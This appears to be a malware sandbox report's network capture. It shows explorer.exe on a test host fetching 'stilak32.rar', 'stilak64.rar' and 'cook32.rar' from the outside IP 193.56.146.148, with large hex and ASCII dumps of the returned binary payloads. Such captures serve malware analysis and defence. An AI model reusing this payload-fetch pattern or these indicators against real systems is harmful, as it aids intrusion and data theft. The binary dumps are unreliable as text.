                                          Data Raw: 40 d1 e5 5a 8b c7 b4 20 04 1d ee a2 24 f1 96 9d 26 a1 0b 1b 7e e3 4e 1f 5d 3c 4d da 10 7c 95 81 0f 16 f7 ee 7d fb 39 8c 70 71 45 d9 0f ab ad 60 01 a5 32 5d be 0d 61 0e 50 82 f8 65 5b 9a 22 17 77 7e df 1d d3 e9 2a 08 c4 85 a2 d9 7c 2f 82 76 1f a1 0c 49 88 f8 0e c9 2d a0 8a 50 56 c2 c7 92 94 e2 ec 7e 79 4a 65 9b 26 e4 dd 72 cc a9 e7 63 18 5b ca dd df b9 3c ff 59 43 c8 9c c3 1a 12 d9 00 09 54 eb 65 b3 47 f4 68 0c b2 8f b5 20 fb 61 ad f0 29 d6 ef 6f ad 1f 9b 0f 56 f2 39 7e b4 2e 17 15 94 17 47 de 21 36 e1 25 3a 1c 1e 8d 36 93 c2 c8 4e 60 10 93 49 cd cf 19 4f 0c 1f a5 d3 5d df 25 13 ca 40 20 64 fe 4b 27 eb fb 5b ce 56 73 77 b6 d4 6f 61 c2 6b 4e fe cb 73 77 22 e9 f6 1d 48 0c 2e 7a d7 73 4c e6 51 80 cb f5 e3 20 5b 24 a3 68 83 38 6a 87 1d d6 fc d3 cf f2 a2 a3 35 f3 19 e8 ac 2c e4 cb 70 a5 b0 92 e2 87 00 7b 31 2a 0d 22 de b4 1e 6d 5d 7c 13 90 ef 11 74 34 aa 7e 6b 92 3a e5 d5 5c be 59 0b ec ab 8a db cf 67 a8 2b 63 24 50 a1 20 ed 30 f3 e8 e0 28 6b 51 f4 5e e9 8f c2 69 d8 28 69 51 46 a7 72 50 9d 2a 97 f7 91 81 7c 6c 5a d0 ba ac bd 1c d8 97 9e 7f 2d 30 0e 8b 0a c6 f9 a4 b5 dc 66 f3 19 b7 79 89 51 9b eb 95 fa e6 32 f7 db 83 04 be d0 a4 34 40 10 7b e0 ea 75 18 6e 32 43 93 ff ec 97 e9 13 de b1 39 90 ae fd b1 88 f6 eb a8 a3 5f d3 40 f2 8a c8 1a b5 da 23 07 28 14 d4 48 91 e4 75 6c 2e 2f 59 14 ed cd 56 33 a4 6f 3c 74 70 51 26 d2 f1 00 9d c7 9e 68 ca 93 01 b0 18 8b 9c 3a 19 27 47 cf c7 cc f2 d1 42 aa e5 ce 1f 0f 07 03 9a 24 72 37 bc 30 c3 42 3d 57 49 09 18 78 26 bc 66 1e 36 de 2a c7 72 0d 10 ee fa 93 05 a5 63 7e 1c e1 d8 c6 71 0e 0f 77 91 6d aa 79 b3 3a 27 fe 2e 3b 53 ad 84 37 f4 45 54 52 da 80 67 3c 9c 44 86 2a a7 58 26 94 83 b1 bd ca d7 ad 1d 43 f8 70 2b 43 d2 05 fd d2 bd 6b 6f 62 28 7b 75 60 c4 14 07 07 2c f7 3e f3 95 1f 56 90 0c 06 3e 6c 02 6c 89 e1 6c 0b cb a0 a3 9c ba 25 72 e8 31 27 75 22 9d 20 f7 46 af 10 5d c0 d6 ec 16 ab 36 03 82 9f fb a2 ca 77 e2 f1 69 ad fe a5 b9 2c 1b 4a e3 1d 69 43 fc 81 b7 22 57 f1 2c fa 72 4d 17 49 56 ad 1f ff 4a a5 38 50 c9 b2 68 b3 c4 e2 33 e0 9b 81 eb 69 56 89 c3 9b 32 9c 57 30 ee 5d 75 8b e2 b2 d7 ee fb a8 48 a0 5e f2 34 a7 15 38 ac ae 28 2c 60 6f 00 b8 12 2b bf 5a 7d fc 9d 1c f0 1a dd a6 92 7f f1 c5 f3 02 e2 83 f6 a1 52 db f7 14 b9 38 35 28 e6 2b 62 1a 3f b8 e0 b5 43 ea a8 92 b6 60 5b 95 b3 d5 09 19 61 54 a7 f6 67 69 2b 6d 9e 93 4e 6a 56 d6 3f 53 09 df 02 18 fe f4 5e 79 48 1e 9b 82 dc cf fb 80 f3 bb 65 a6 56 0e 5a e8 78 a7 13 70 ac ce cc c9 43 75 3c f7 ef 58 23 f8 c7 88 e3 17 85 ca 17 bb 6e 86 b2 4d 6f 8a da 5c 1b 90 9a d2 4d 26 35 99 bb 8b 29 ea 31 7b 6b 5f b9 0e 00 3a a4 e4 ea 72 09 48 da 0c d2 ae 7f 25 91 ec 37 59 6e 37 a1 80 7c 8e 19 d1 1d 3a ee dc 6d 6a 4c 0b 42 b6 2b 61 83 0b d7 d9 f5 f6 ce 72 f7 b5 90 05 e5 3f 8a 59 21 da ac 86 48 37 1f 98 8f 3a 7e a8 72 fb a7 30 f0 f0 02 05 b3 ae ea dd 01 b1 44 fd d2 ee a8 d7 98 54 14 92 eb 8f 4e 62 a3 f2 7e 80 f8 92 9d 71 a2 ed 5c 8a 7c f2 dd 5c 75 7c 65 29 cd 7c e2 5d aa 2d f2 1d f5 f7 ab 93 ec 3b 66 10 48 80 13 8e 53 aa 6d ca d6 5e d2 47 e2 a0 4b fe ca fd 03 fd fa 45 3e c5 74
                                          Data Ascii: @Z $&~N]<M|}9pqE`2]aPe["w~*|/vI-PV~yJe&rc[<YCTeGh a)oV9~.G!6%:6N`IO]%@ dK'[VswoakNsw"H.zsLQ [$h8j5,p{1*"m]|t4~k:\Yg+c$P 0(kQ^i(iQFrP*|lZ-0fyQ24@{un2C9_@#(Hul./YV3o<tpQ&h:'GB$r70B=WIx&f6*rc~qwmy:'.;S7ETRg<D*X&Cp+Ckob({u`,>V>lll%r1'u" F]6wi,JiC"W,rMIVJ8Ph3iV2W0]uH^48(,`o+Z}R85(+b?C`[aTgi+mNjV?S^yHeVZxpCu<X#nMo\M&5)1{k_:rH%7Yn7|:mjLB+ar?Y!H7:~r0DTNb~q\|\u|e)|]-;fHSm^GKE>t


                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                          1192.168.2.649842193.56.146.14880C:\Windows\explorer.exe
                                          TimestampkBytes transferredDirectionData
                                          Apr 22, 2022 16:17:41.267824888 CEST7948OUTGET /stilak32.rar HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 193.56.146.148
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:41.338412046 CEST7949INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:41 GMT
                                          Content-Type: application/x-rar-compressed
                                          Content-Length: 345757
                                          Last-Modified: Tue, 15 Feb 2022 12:21:38 GMT
                                          Connection: keep-alive
                                          ETag: "620b9ad2-5469d"
                                          Accept-Ranges: bytes
                                          Data Raw: 58 35 47 8f e8 82 a6 72 f1 89 40 c8 0f 2b 14 05 63 77 e7 dc 78 c6 da 87 72 79 b9 3d 62 27 63 83 37 71 62 40 0f 9a de 97 59 6e 9f ae f2 94 7c 42 cf 29 76 b1 99 3f 1c 71 77 d8 a0 4f b8 ef b1 be 22 e6 5b d0 3a a5 11 4c 6f 9c 0b 85 8a 22 c4 2b 29 8f 0d 9c c1 99 d6 ea 4a de c1 45 72 53 27 3a 15 a4 f0 6c fa 65 82 2f d5 cc 25 1f b5 c5 46 91 de 36 dc d7 57 01 1d 68 cb 3e fb 34 73 75 d4 b6 26 85 56 56 a5 53 ec 7f 8e 45 7c 0f 04 3a e2 5c 8e 38 6b d4 a4 c9 33 f1 e8 9d 9c cd c9 d9 31 91 80 a1 fb 3b 34 f0 4b d5 fb 29 88 6e 34 28 73 68 1b 7c 99 1b 0b b0 e3 31 af 72 38 ff cf 4d 82 9b 1f 9e 95 4b 6d 9e 1a 2a 78 67 1c 82 58 31 32 16 8e 7c 3f 9d c6 25 bd 3d 35 6f 5d a5 ff c1 2f 00 22 9c 3e 60 f4 6f 45 70 47 1a 97 d0 0f 52 bf a5 60 07 3e 3a 01 90 c6 99 e6 d7 8b c6 88 61 1d 28 51 f1 00 be 13 f2 05 dc ee f4 ab f6 3e 91 af c9 27 f4 fa 42 52 c6 b6 5d d1 8c b8 ae 13 d6 67 1b 56 2c 4c aa 32 e5 98 ef 4d 36 97 39 02 74 71 22 f0 ec 1a ed 63 97 f0 b4 b8 e3 55 e0 1a c5 3b a7 c8 40 7a 62 8b 8c 19 78 0f c1 61 93 e3 82 65 06 98 b9 bb 88 04 d5 c8 94 9a 26 fa 9b 78 7a 12 55 ca 9d c0 9d ec 92 e8 f6 83 26 03 b0 3c b3 21 d1 50 1a 32 9d a1 58 3c bc 54 ac 32 af 28 4d 3e 49 44 ba a1 3c b2 51 a0 c7 a0 9f a2 86 4e 4e 1a 65 79 e2 63 67 c5 ed 42 b3 02 b9 79 98 f1 d0 84 7a 70 9e 64 be 21 79 0f 63 85 a2 c1 d6 b0 7f 47 ee 61 ea 37 68 44 9f e1 8a 57 65 c3 53 0b d7 96 9b 20 f8 83 1f 48 c3 45 93 cc c8 50 2d 07 44 8e 58 19 82 df b5 a1 26 72 61 0e 8a 11 d0 04 25 ae 9a b8 13 5a 2b a4 c5 cb f9 4d cf d8 47 9a 61 80 a3 b3 75 ca f5 34 43 a7 5e 22 b4 14 65 55 4b fa 3d 90 c3 6c 9f 4e ad 5e 5d 6d f1 98 6d 96 d8 0f b0 69 d6 4a a8 9f 43 51 5a 69 e2 8b cb 14 cc eb 2b 0b 1f 3f 61 8a a1 e4 1e c1 fb 76 b9 5c c2 75 8b 47 e6 86 b7 04 b8 89 75 78 ef fe fd 6c 22 50 bb 95 16 ad ff eb 94 c3 99 22 b3 5e 8f 15 72 56 13 bf dc 75 22 9c a3 75 7a ff d1 88 80 2c bb 8a c5 cd ec b1 59 00 f7 fb 14 17 98 ef aa 47 b3 63 a3 d8 a0 8e b6 ec 17 4e 7f 31 10 92 e2 84 8c f0 fc be a7 f8 34 2f ea 47 c3 e7 12 72 ef 08 ff 91 57 13 b6 37 69 76 ed 9f 2d 7e 93 70 35 b2 25 84 6f 80 db 26 96 3a e5 32 df 9d dd a9 e6 a3 ea 4f c0 b4 d1 3c f4 7d 63 9c 1c 5b 0f 7f 5b 9d 04 63 d8 fd 96 d7 0b 24 d0 0c b5 88 94 ee 88 88 40 6d f7 78 a7 aa a6 cc 0c a6 bb b6 a7 93 ea dd 68 56 93 b7 16 a4 09 05 e3 e2 c3 10 2a f1 e5 b0 82 4e 03 3f a3 00 28 22 77 57 f7 6f 69 64 a3 89 3f db 81 09 26 06 fd 3d 7f ac c2 e8 98 e4 69 bc 66 8d a5 de 08 18 eb 99 3a ad 56 ca 06 93 5a 54 24 bd 3d f3 37 d3 cc 00 c2 2b c9 e2 8b ef 86 dd 7a 7c 27 71 ca 91 1f 86 95 01 6e 3b e7 05 95 73 2e 22 d4 de 2d 45 96 14 03 bd 12 17 93 6e d6 45 d1 28 af 75 c5 aa 09 2c e5 71 ff 02 3a 2e 33 d0 f0 ab 63 ba df 16 51 5b 65 87 ef f3 b1 67 86 3c 16 3a 4b 0d f0 6e 18 26 fe 7f 6e 5a e7 ec 94 ea c2 61 52 55 98 cd a8 21 e0 48 7a 07 ed c3 ea 11 22 3c 73 57 91 38 82 f3 10 96 f6 54 7a 70 00 17 cb f1 71 aa 71 e9 c5 7b 15 58 d5 f3 bd 3c 25 f0 28 7a f6 f4 79 da b3 77 03 a5 f8 44 f9 5b 28 48 9a 16 39 d0 4a 1c d4 fe 09 3d ca f5 9c 70 60 d4 19 db a9 e6 1b ba 57 62 60 7b a7 79 d8 2e 51 83 af e8 d7 7a 12 cb 04 60 cd 85 b3 bd 3b c0 64 51 5c 60 91 21 ba 8b 14 79 e3 6e 60 24 02 23 87 b0 ac a4 3b 1c 57 c6 d5 81 41 07 99 3a 7a 07 b6 2e 9d c2 5f ef f1 ce eb 12 08 a2 7d b2 94 87 aa ea e0 34 69 ea 61 1d 81 b8 5a 08 81 6f 9f db
                                          Data Ascii: X5Gr@+cwxry=b'c7qb@Yn|B)v?qwO"[:Lo"+)JErS':le/%F6Wh>4su&VVSE|:\8k31;4K)n4(sh|1r8MKm*xgX12|?%=5o]/">`oEpGR`>:a(Q>'BR]gV,L2M69tq"cU;@zbxae&xzU&<!P2X<T2(M>ID<QNNeycgByzpd!ycGa7hDWeS HEP-DX&ra%Z+MGau4C^"eUK=lN^]mmiJCQZi+?av\uGuxl"P"^rVu"uz,YGcN14/GrW7iv-~p5%o&:2O<}c[[c$@mxhV*N?("wWoid?&=if:VZT$=7+z|'qn;s."-EnE(u,q:.3cQ[eg<:Kn&nZaRU!Hz"<sW8Tzpqq{X<%(zywD[(H9J=p`Wb`{y.Qz`;dQ\`!yn`$#;WA:z._}4iaZo
                                          Apr 22, 2022 16:17:41.338543892 CEST7951INData Raw: 87 02 ff 01 a7 2f 4b ae e7 d8 ea 6f f2 b4 d6 9e d7 bc 42 f5 9b 12 0e ff 04 e3 73 28 b3 88 1c 7b 7a 14 eb b5 1a 0f d4 16 45 db 65 5d ff b4 5c 8f 16 60 1c 1b 51 f9 f3 5d e8 05 03 83 e7 90 6f 77 de fd a5 99 b6 69 e2 7c 56 00 49 a3 bc b8 ba 21 b9 7c
                                          Data Ascii: /KoBs({zEe]\`Q]owi|VI!|XDoqw7M;OU:|Su.YoSc3nW8{xYO.tkth@63~a^5p,7L^s_}%"-.*Vn6 zr9X r{-kmV
                                          Apr 22, 2022 16:17:41.338576078 CEST7952INData Raw: 9f 46 d9 d2 71 fa 90 0c 10 0a 27 09 7e 62 4b b1 32 49 a2 b6 00 4c 7a 8e 5b 95 77 d3 65 f0 c1 c4 d6 ea aa 82 d4 b4 91 c9 1c 68 dd 7f 93 63 e0 49 b3 6f df 4c b5 ad 0b 79 72 a3 76 58 5a 5a 45 c1 e9 11 66 82 8d c7 ff 9b a7 f8 2f 7d bd dc d5 54 09 be
                                          Data Ascii: Fq'~bK2ILz[wehcIoLyrvXZZEf/}T`v#]-820\8N3t!VlM^]wiSO bX%>V?ElyI=X=eg|xf*K y/ k#8<-??(7]3f`b>$
                                          Apr 22, 2022 16:17:41.338599920 CEST7953INData Raw: ec 52 6e a3 d2 3d be 4d f3 7d 0a 10 d6 0b f9 ff 70 af 7c f7 39 15 9d b2 89 b9 fd e6 49 f8 64 44 12 6b a6 e9 44 14 77 44 ca 89 53 1e 1b 52 7e d9 b3 f4 46 de 9f 06 b8 de 78 51 48 bc b9 95 22 6b ab 00 16 ac 6f 2c e9 91 e7 2d a9 4c 4f 49 8b 78 57 6d
                                          Data Ascii: Rn=M}p|9IdDkDwDSR~FxQH"ko,-LOIxWm>YzL]ED%xNz,[&f>&bCiaKOn)F}9}t{D>&.q[ezd/~v@hyXb:8^0
                                          Apr 22, 2022 16:17:41.338624954 CEST7955INData Raw: 9d cf 91 74 53 79 1e 9d 48 7e 28 3c 43 60 2f d8 08 aa 9e da ff 4c 76 e3 f9 09 a0 94 ef d4 6e 21 b3 a7 38 e1 74 96 f5 15 98 aa c5 21 27 4b 12 b7 b8 d6 17 ef 10 ee a5 47 6d c7 61 e5 73 31 70 e5 c8 f5 f6 8c 6f 81 ed ed b7 8f 5d 6c cd 91 b6 48 e0 4f
                                          Data Ascii: tSyH~(<C`/Lvn!8t!'KGmas1po]lHOq3oO[x#^%os]:{&p!2@,$eL^dRUv"I!r|Y^tBv;K"x[X`Wsx`n!*Rx]cCy~<
                                          Apr 22, 2022 16:17:41.338649988 CEST7956INData Raw: f6 91 27 f2 be 34 51 06 c5 1a dc 01 5e 9b c5 68 92 ec 95 23 0e 91 42 54 8b 8c b8 b2 83 ff 8d 80 e2 62 6d 68 0d bd 56 ce 34 e4 b8 a9 ed 77 46 35 30 e2 b3 56 2b c8 c1 5f 5f de 05 1c 82 48 29 c4 98 36 da cf d2 53 46 c0 43 71 0c f1 56 b8 b8 fa bb 7d
                                          Data Ascii: '4Q^h#BTbmhV4wF50V+__H)6SFCqV}%5Y|WzyU;EhjL`:kM@2A(qcX9dteDLOJT-^#;{`5wfE{T2og Y;%B|gFWA`EF
                                          Apr 22, 2022 16:17:41.338674068 CEST7958INData Raw: a1 b0 2f 7b 55 4d 4b ff 1a a2 8c 89 41 0a df fc b2 ab 8a af 0f 33 47 7a 72 8b 05 5d d5 0c a3 e7 69 1d b6 07 4e 24 d2 bf df dd 56 71 56 4f 42 51 9e 12 ed f5 29 4e 98 e0 36 1e dd 28 1b b3 b3 a5 28 6f 65 9f 1e 8b 00 c4 55 31 7e 45 29 5d db e7 f5 d9
                                          Data Ascii: /{UMKA3Gzr]iN$VqVOBQ)N6((oeU1~E)]E2/e f97:a?$9aF iuDzmnW==Ra5^OO=?h[pK>Cb"!"1x\la#h H
                                          Apr 22, 2022 16:17:41.338697910 CEST7959INData Raw: ea 57 73 53 86 0d e4 bd 53 28 4a 9a 31 5a 3e ee 27 4c fd ed 4e f5 78 d8 6b 1e de 30 46 fd a5 a6 47 02 74 cc 0b cf d3 07 1f fd 58 25 78 50 d1 98 bb 2a 5d 5f 90 b5 1f 52 2d b5 22 d9 66 ca ad 39 de a4 06 19 32 03 bf 92 da 7d e0 59 90 2f 89 b1 c0 23
                                          Data Ascii: WsSS(J1Z>'LNxk0FGtX%xP*]_R-"f92}Y/#wR/j9rD>9 b{[IbD\ 4iRY>n|bcCj3|tt1IVe~Xp!)V$OJdJa)\ LQ,
                                          Apr 22, 2022 16:17:41.338721991 CEST7960INData Raw: 8a 21 7f 29 cd 64 4d 05 30 be fc cd 1f 28 c0 c9 bf 29 27 63 e4 8b ad 69 e2 dc d2 c4 9c 3c 93 67 03 78 43 2a 54 7b ed cb f7 c4 bf c9 65 ce 4c 13 b4 06 85 79 a2 00 d7 f2 8f 84 68 c1 7b 9c 63 cf 7c e8 91 be 0a 7f a7 58 54 51 2d 79 39 74 00 84 23 b9
                                          Data Ascii: !)dM0()'ci<gxC*T{eLyh{c|XTQ-y9t#"=\Qsi4w&s\:aKho&n-0xQ^@BF7eu.)9yT+!GaPn2%j5D5v7hk.l$T$R7-f(Wb\LEOo=,V
                                          Apr 22, 2022 16:17:41.338746071 CEST7962INData Raw: 79 ab db 09 71 05 c7 9e 1f 63 de ec 79 62 f0 97 1e e9 77 48 ad a4 f0 65 41 8f 14 a1 94 11 45 18 6a e0 af 36 db ad a9 ca 6b 38 13 16 b4 3f 90 eb 0e 13 e3 18 3c ed c3 da 38 92 fc ac 06 a9 20 38 12 15 32 b0 1f b1 6e 3e 3b 40 2a 37 6d 06 1c 87 33 59
                                          Data Ascii: yqcybwHeAEj6k8?<8 82n>;@*7m3YwM`wV0+$oEr8'"[nlP\~Q&F]'<@<W0G*skugHDSxFV>RTEr:!PNW^*j"|t:o9,eejN'k}
                                          Apr 22, 2022 16:17:41.408549070 CEST7963INData Raw: f4 a5 43 2d 6c 81 69 15 7d c5 7c e3 32 37 20 a4 3e 07 9d 42 71 c2 ba a7 22 11 8b 17 3d 68 14 95 f1 f1 0c cc 86 85 af d8 a8 5d 2f 7b 4d cc ed cf e4 67 a8 f0 b5 68 e9 26 64 ba d7 46 09 e5 fd 70 a8 70 67 b1 52 9a 60 b2 5b d6 65 82 dd ad 8f e1 60 16
                                          Data Ascii: C-li}|27 >Bq"=h]/{Mgh&dFppgR`[e`y)z~ZZW6i`{}dSC'WT3U=Xg8j@<nO\PL&-\k,UtTTt??{k,IxuTLaNx240JoP
                                          Apr 22, 2022 16:17:42.148870945 CEST8312OUTGET /stilak64.rar HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 193.56.146.148
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:42.219147921 CEST8313INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:42 GMT
                                          Content-Type: application/x-rar-compressed
                                          Content-Length: 482451
                                          Last-Modified: Tue, 15 Feb 2022 12:21:38 GMT
                                          Connection: keep-alive
                                          ETag: "620b9ad2-75c93"
                                          Accept-Ranges: bytes
                                          Data Raw: 0d 75 7c 71 77 25 41 de ab 55 1e f7 96 9a 6c be f5 45 95 4d 32 9f 20 4a c7 75 c2 48 42 b2 9d 70 79 d1 c9 d2 8a a0 c4 98 cb 9c 62 cc 29 48 78 69 e2 4b 72 e8 76 04 55 11 7e dc a5 1c aa 27 c3 38 70 74 b5 77 f5 ff 26 86 e1 0f 94 12 25 51 f4 84 cd 6f 10 e4 b6 3c 40 51 b9 53 d2 22 e5 d3 07 cd 32 eb 3f 1b cd eb d4 99 0b 3a 82 60 ef 83 1c 01 45 59 a2 e7 de a0 50 e1 0d 1a e0 53 d9 8d 52 d9 f8 fd 0f a8 59 d9 cb 1b 4a 88 81 0d f5 58 25 6f fe 67 b8 c5 1d 52 63 70 21 42 a2 d5 d8 65 56 53 fc 44 e5 72 27 56 d3 64 c1 db 2b 5b 76 26 64 0c 0d 53 dc 67 1d 4d 09 d4 a0 b3 53 b8 24 f9 0a b2 87 24 05 8b 53 27 e7 f1 2c 84 a8 40 4e 26 63 54 cb 6f 9d 0f f3 33 b8 43 7f 1e 62 4d 96 36 7f ad d7 3e c7 53 b4 e8 a2 2e bb 0f 9c 3d 23 3a a7 c6 d0 55 03 cc 90 7c 87 31 85 73 13 76 ca 31 f5 9b ff 6d a5 61 b9 a3 8a a3 70 38 cd ff fc a5 66 21 c0 08 8d 27 be 35 3b f6 5c 96 3a 15 33 48 5d 38 e7 e2 60 d9 df 15 5e 38 07 0d b2 a6 bf 50 6a 84 33 1a e8 a6 da 86 e8 3f d7 e6 d7 24 76 eb 96 bb a5 cc 6f 82 b4 0e a3 79 5e c4 60 e6 b6 5a 03 73 f2 67 fe 2b 78 1a 50 d4 ac a0 35 79 ff 03 5a 49 99 4e 11 ce 75 a6 04 f1 6f 6b 3b b5 73 03 95 e2 ab e4 3b b5 74 1a 60 c5 2a ad e7 d7 5d b3 0a d9 11 d5 6c 27 56 52 63 47 d7 0b 2d 3a 0d 45 8d 8e 97 77 07 1e e5 d4 dc e1 88 fe f9 d2 74 7d 4f a7 04 b8 f3 ba fb 40 1f 49 e7 b5 06 6b 79 35 59 33 7e 88 43 79 f6 33 77 f8 c8 ef 58 18 8f 90 cc 03 b5 17 69 23 0a 85 4f b5 c4 01 9a e0 61 1f bc 73 d0 da 01 f1 c2 5d 73 03 99 68 63 02 11 cd 42 d7 a7 f9 20 9f 83 b6 c1 f1 6d dd e8 f0 68 04 65 de 14 85 03 c0 50 2d d5 45 6e 83 2c d8 34 26 52 0f d3 bd 70 5c 15 72 c0 2d 25 0e 70 34 46 b2 4d af a3 f5 ea fc 35 9f 7c 01 51 88 bd ea 0f ab 08 fd b4 f0 dd 4c 98 dc db db 94 5b ee 64 b9 a0 58 cb a9 c4 6a 3c fa e7 dd e0 c3 7e 0d 04 68 49 66 77 73 a7 81 63 0d b7 bd c5 2c 1d 8b e1 c4 9b db 9f bb ca 15 a2 e4 43 f9 13 60 0b 9a ad f7 28 5b 81 d1 7a 80 20 7e a2 0c d6 a0 bf 35 bb 3f 9d a7 04 30 12 cf 8a 06 c4 70 c8 63 b4 97 e4 ec e7 4c de 30 bc c6 6c b4 58 72 30 4a a9 6a dc 0d 62 51 0c 2e 6d 7e 49 a4 cb 04 60 4d f7 8c cd b7 1b 66 44 52 6d 9a e4 19 d6 ae ad 72 a4 7f 12 12 2a 4c 15 6e 1e 0f fa 7f 99 10 90 98 a0 1e 48 80 d7 0b b4 b5 bd a1 01 84 ab 4b 57 4c cd cc da 25 67 ce 38 f1 cb 56 2f 2f f2 0f c5 97 98 16 f7 e9 ae d3 ed a9 76 91 de 56 f9 43 bc c3 c2 c7 5b bb bb 68 69 d0 14 82 3f 10 a2 6e 6b 5f fa 85 97 2b a1 36 2a 1d c3 16 cb 60 da 79 c5 54 ad 23 d0 d1 7a 3d 77 d6 11 c2 99 d6 d4 1d 4f 4f a6 87 29 4a f4 4d 75 de 90 ef 07 21 95 ec b2 dd 47 c4 5a c9 94 5f 99 25 d4 29 8f d5 d4 9d f3 0a cf d3 ea 33 f1 e0 ad f5 2a 05 52 f9 f5 b9 b1 73 c4 5f da 48 15 9f f0 11 61 22 c7 ca ed 47 54 83 8a 99 5a 1d 5d 6a 26 ec a2 f4 93 b7 be 84 4a 9b 83 73 9c 88 8d a7 8a 64 0e 2f 0a e0 7c 51 07 72 bf 82 ee 91 ab 28 16 49 86 83 31 93 d1 b6 c9 85 8d 4c a7 0b 97 98 bb 12 a3 63 64 d1 ed bc 7d 1b f3 71 0a e1 84 d5 7d 30 40 57 1b df 64 50 82 a1 d9 4a d6 c2 01 a8 a9 4d a0 ab c5 b1 49 93 77 1c 5a 0d a8 b8 bf 21 5d 65 52 da 4d aa 2f cf 8e 02 88 c0 b3 1d b0 1c c7 bb b2 e9 50 67 88 8c 43 3a 7c 65 7c 56 da d7 83 e0 5e 2a ea 15 82 65 73 d3 a4 83 fd 66 90 28 2e 03 56 49 f7 43 49 38 d8 22 71 f5 1a 69 26 db 83 eb 1a 3f 4a ee 68 12 3a 9d 6c ed 14 dc 44 48 15 7d c2 f2 76 14 21 c5 cf a6 be ab bc 53 ec 6a a1 b4 e9 a3 09 5b c5 1b 52 cd 8d ed
                                          Data Ascii: u|qw%AUlEM2 JuHBpyb)HxiKrvU~'8ptw&%Qo<@QS"2?:`EYPSRYJX%ogRcp!BeVSDr'Vd+[v&dSgMS$$S',@N&cTo3CbM6>S.=#:U|1sv1map8f!'5;\:3H]8`^8Pj3?$voy^`Zsg+xP5yZINuok;s;t`*]l'VRcG-:Ewt}O@Iky5Y3~Cy3wXi#Oas]shcB mheP-En,4&Rp\r-%p4FM5|QL[dXj<~hIfwsc,C`([z ~5?0pcL0lXr0JjbQ.m~I`MfDRmr*LnHKWL%g8V//vVC[hi?nk_+6*`yT#z=wOO)JMu!GZ_%)3*Rs_Ha"GTZ]j&Jsd/|Qr(I1Lcd}q}0@WdPJMIwZ!]eRM/PgC:|e|V^*esf(.VICI8"qi&?Jh:lDH}v!Sj[R
                                          Apr 22, 2022 16:17:42.488375902 CEST8813OUTGET /cook32.rar HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 193.56.146.148
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:42.558615923 CEST8814INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:42 GMT
                                          Content-Type: application/x-rar-compressed
                                          Content-Length: 340625
                                          Last-Modified: Tue, 15 Feb 2022 12:21:38 GMT
                                          Connection: keep-alive
                                          ETag: "620b9ad2-53291"
                                          Accept-Ranges: bytes
                                          Data Raw: b0 de 4f 49 3e 24 d7 25 8f 5f 32 cb 68 d0 f4 93 af f0 7f 50 64 1d fb 9c 51 47 b4 37 b4 c3 b3 f2 09 f9 64 44 05 e5 ed 84 78 d9 45 a6 f9 2d 18 c3 cf 6e 2b 12 64 9a 4c e3 b3 28 28 c6 7e fa 75 e9 d5 b8 ca 31 2c fc 1e 5b 38 3d f6 a8 00 9e d8 56 2e 87 f0 ca 5f 13 24 2f fe 68 62 cb 7b 8d db 85 f6 9d fa a9 bf 40 fa 1e a9 c4 8f 71 5c c8 1f 81 04 38 86 d3 f0 39 bc f7 85 e6 02 f7 95 6a a5 ae 27 cf 8b a8 a6 b9 cf ef fa d1 af 6d 75 31 09 bb 24 60 ac 23 59 15 7d 44 9b 76 36 a2 df 3b 6c 5b 24 92 15 0c ff 95 d7 50 ba a0 12 cc c9 47 0e 76 8e e7 da e0 dc ca 3b 49 80 f7 0e 9d 68 61 e9 1c 11 f5 01 4b a9 4f 05 01 2e 31 b1 ef fe 0e d3 4e b6 e4 fe 0f 5a 09 af f6 a6 8f 1f b7 1a c0 7e 50 bd 6d e5 a4 4e 26 83 b0 56 49 41 1c bb e8 33 77 24 d2 b4 f4 c1 75 a9 3d 8a 0d 89 64 4c 63 74 5c 94 75 65 13 b4 d0 14 7f e2 69 3b dd 26 c0 e2 40 3d 2b a0 20 73 7e 22 23 ad 0b db 9a 49 8b be d0 c7 27 0b f3 32 3e b5 b9 ca 0b a0 da 5c ec 56 68 53 21 8d 7f d9 03 31 9d d3 59 b3 78 c3 b8 dd 6e 99 a7 27 86 e7 09 0a d8 b7 82 6e 4c 89 dc 0b b8 1d 9e 97 14 ac 3d 06 0d 26 ef a7 96 f1 ad 8a 76 77 64 1a 3a 59 3d fc c8 45 aa f1 d5 b3 09 83 43 f5 a0 d6 26 5d 99 28 a3 45 5d 52 3e f9 11 9e 6f 44 46 2a ac 45 da 09 1a dd 21 67 e5 40 b6 06 d0 cf 74 9b 94 c2 36 21 2a 71 53 d2 b9 c6 7a 42 6e 22 4f cd 27 b5 4a 92 0a 62 86 2f 08 70 20 09 0f 6b b2 04 e3 91 bb 1d c9 6b 9c 38 81 96 25 cd db 8f d1 7d 11 25 25 aa d8 c3 83 b4 41 57 5a f8 ef 1f 9c 3b 4c e3 6b 72 62 fd 3c 90 49 cc 83 28 5d d8 a9 9a 8e 37 2b bc 69 1c de dd fa 08 d4 7a b9 37 58 8b 0f e4 38 0a e6 f3 32 cc 84 d0 cd d6 59 87 94 0b 8e 64 b3 87 fc d7 d2 37 29 03 bb 2c 60 a3 0c 0f 18 86 67 23 2e e4 57 cf f0 eb 52 e3 dd fd 06 a4 c1 d7 38 ef f2 01 08 d7 06 44 e2 25 d8 d2 97 11 f0 ab 00 c4 4d 87 5e 5e 56 2a bf cb 83 48 0b 1f ef 22 c8 bb 25 80 56 f8 a5 dc b5 a5 b4 84 35 73 a8 f9 5d 72 3e cb 8c 92 be d0 ec 3b 0b e4 de ae ce 6e 4b 10 b9 25 b8 c2 0c e2 62 74 71 25 cb 3b 55 dc 0e dd ef 9f d3 54 22 f9 9a be 98 a4 df 39 2f 